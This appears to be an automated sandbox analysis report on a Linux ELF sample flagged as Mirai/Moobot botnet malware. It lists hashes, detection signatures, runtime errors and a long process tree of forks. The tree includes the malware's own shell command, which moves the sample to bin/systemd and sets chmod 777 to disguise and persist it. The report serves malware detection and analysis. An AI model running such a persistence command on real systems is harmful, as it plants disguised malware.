Edit tour

Linux Analysis Report
log21.x86_64.elf

Overview

General Information

Sample Name:	log21.x86_64.elf
Analysis ID:	805571
MD5:	f9fa0971b974a9397558d3e9c02dd092
SHA1:	1c23b22d0aae8821a5a21e3f455e795a271068da
SHA256:	09cbbd696e50e03602de58aa62211f282675be9795b8b7f0134f6146241f6e7a
Tags:	AkurGroupelfMirai
Infos:

Detection

Mirai, Moobot

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Yara detected Mirai

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected Moobot

Snort IDS alert for network traffic

Connects to many ports of the same IP (likely port scanning)

Sample is packed with UPX

Uses known network protocols on non-standard ports

Sets full permissions to files and/or directories

Sample contains only a LOAD segment without any section mappings

Yara signature match

Executes the "mkdir" command used to create folders

Executes the "chmod" command used to modify permissions

Enumerates processes within the "proc" file system

Detected TCP or UDP traffic on non-standard ports

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

ELF contains segments with high entropy indicating compressed/encrypted content

HTTP GET or POST without a user agent

Executes commands using a shell command-line interpreter

Executes the "rm" command used to delete files or directories

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	805571
Start date and time:	2023-02-12 21:23:42 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample file name:	log21.x86_64.elf
Detection:	MAL
Classification:	mal100.troj.evad.linELF@0/0@105/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: log21.x86_64.elf

Runtime Messages

Command:	/tmp/log21.x86_64.elf
PID:	6217
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	SHA8192
Standard Error:	sh: 1: cannot create bin/systemd: Directory nonexistent chmod: cannot access 'bin/systemd'$'\004': No such file or directory

Process Tree

system is lnxubuntu20

log21.x86_64.elf (PID: 6217, Parent: 6123, MD5: f9fa0971b974a9397558d3e9c02dd092) Arguments: /tmp/log21.x86_64.elf

log21.x86_64.elf New Fork (PID: 6218, Parent: 6217)

sh (PID: 6218, Parent: 6217, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -rf bin/systemd && mkdir bin; >bin/systemd && mv /tmp/log21.x86_64.elf bin/systemd; chmod 777 bin/systemd"

sh New Fork (PID: 6219, Parent: 6218)

rm (PID: 6219, Parent: 6218, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf bin/systemd

sh New Fork (PID: 6220, Parent: 6218)

mkdir (PID: 6220, Parent: 6218, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir bin

sh New Fork (PID: 6222, Parent: 6218)

chmod (PID: 6222, Parent: 6218, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 bin/systemd

log21.x86_64.elf New Fork (PID: 6223, Parent: 6217)

log21.x86_64.elf New Fork (PID: 6224, Parent: 6223)

log21.x86_64.elf New Fork (PID: 6225, Parent: 6223)

log21.x86_64.elf New Fork (PID: 6226, Parent: 6223)

log21.x86_64.elf New Fork (PID: 6231, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6232, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6233, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6234, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6235, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6236, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6237, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6238, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6239, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6240, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6241, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6242, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6243, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6244, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6245, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6246, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6247, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6248, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6249, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6250, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6251, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6252, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6253, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6254, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6255, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6256, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6257, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6258, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6259, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6260, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6261, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6262, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6263, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6264, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6265, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6266, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6267, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6268, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6269, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6270, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6271, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6272, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6273, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6274, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6275, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6276, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6277, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6278, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6279, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6280, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6281, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6282, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6283, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6284, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6285, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6286, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6287, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6288, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6289, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6290, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6291, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6292, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6293, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6294, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6295, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6296, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6297, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6298, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6301, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6302, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6303, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6304, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6305, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6306, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6307, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6308, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6309, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6310, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6311, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6312, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6313, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6314, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6315, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6316, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6317, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6318, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6319, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6320, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6321, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6322, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6323, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6324, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6325, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6326, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6327, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6328, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6329, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6330, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6331, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6332, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6333, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6334, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6335, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6336, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6337, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6338, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6339, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6340, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6342, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6343, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6344, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6345, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6346, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6347, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6348, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6349, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6350, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6351, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6352, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6353, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6354, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6355, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6356, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6357, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6358, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6361, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6362, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6363, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6364, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6365, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6366, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6367, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6368, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6369, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6370, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6371, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6372, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6373, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6374, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6375, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6376, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6377, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6378, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6379, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6380, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6381, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6382, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6383, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6384, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6385, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6386, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6387, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6388, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6389, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6390, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6391, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6392, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6393, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6394, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6395, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6396, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6397, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6398, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6399, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6400, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6401, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6402, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6403, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6404, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6405, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6406, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6407, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6408, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6409, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6410, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6411, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6412, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6413, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6416, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6417, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6418, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6419, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6420, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6421, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6422, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6423, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6424, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6425, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6426, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6427, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6428, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6429, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6430, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6431, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6432, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6433, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6434, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6435, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6436, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6437, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6438, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6439, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6440, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6441, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6442, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6443, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6444, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6445, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6446, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6447, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6448, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6449, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6450, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6451, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6452, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6453, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6454, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6455, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6456, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6457, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6458, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6459, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6460, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6461, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6462, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6463, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6464, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6465, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6466, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6467, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6468, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6469, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6470, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6471, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6472, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6473, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6474, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6475, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6476, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6477, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6478, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6479, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6480, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6481, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6482, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6483, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6484, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6485, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6486, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6487, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6488, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6489, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6492, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6493, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6494, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6495, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6496, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6497, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6498, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6499, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6500, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6501, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6502, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6503, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6504, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6505, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6506, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6507, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6508, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6509, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6510, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6511, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6512, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6513, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6514, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6515, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6516, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6517, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6518, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6519, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6520, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6521, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6522, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6523, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6524, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6525, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6526, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6527, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6528, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6529, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6530, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6531, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6532, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6533, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6534, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6535, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6536, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6537, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6538, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6539, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6542, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6543, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6544, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6545, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6546, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6547, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6548, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6549, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6550, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6551, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6552, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6553, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6554, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6555, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6556, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6557, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6558, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6559, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6560, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6561, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6562, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6563, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6564, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6565, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6566, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6567, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6568, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6569, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6570, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6571, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6572, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6573, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6574, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6575, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6576, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6577, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6578, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6579, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6580, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6581, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6582, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6583, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6584, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6585, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6586, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6587, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6588, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6589, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6590, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6591, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6592, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6593, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6594, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6595, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6596, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6597, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6598, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6599, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6600, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6601, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6602, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6603, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6604, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6605, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6606, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6607, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6610, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6611, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6612, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6613, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6614, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6615, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6616, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6617, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6618, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6619, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6620, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6621, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6622, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6623, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6624, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6625, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6626, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6627, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6628, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6629, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6630, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6631, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6632, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6633, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6634, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6635, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6636, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6637, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6638, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6639, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6640, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6641, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6642, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6643, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6644, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6645, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6646, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6647, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6648, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6649, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6650, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6651, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6652, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6653, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6654, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6655, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6656, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6657, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6658, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6659, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6660, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6661, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6662, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6663, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6664, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6665, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6666, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6667, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6668, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6669, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6670, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6673, Parent: 6226)

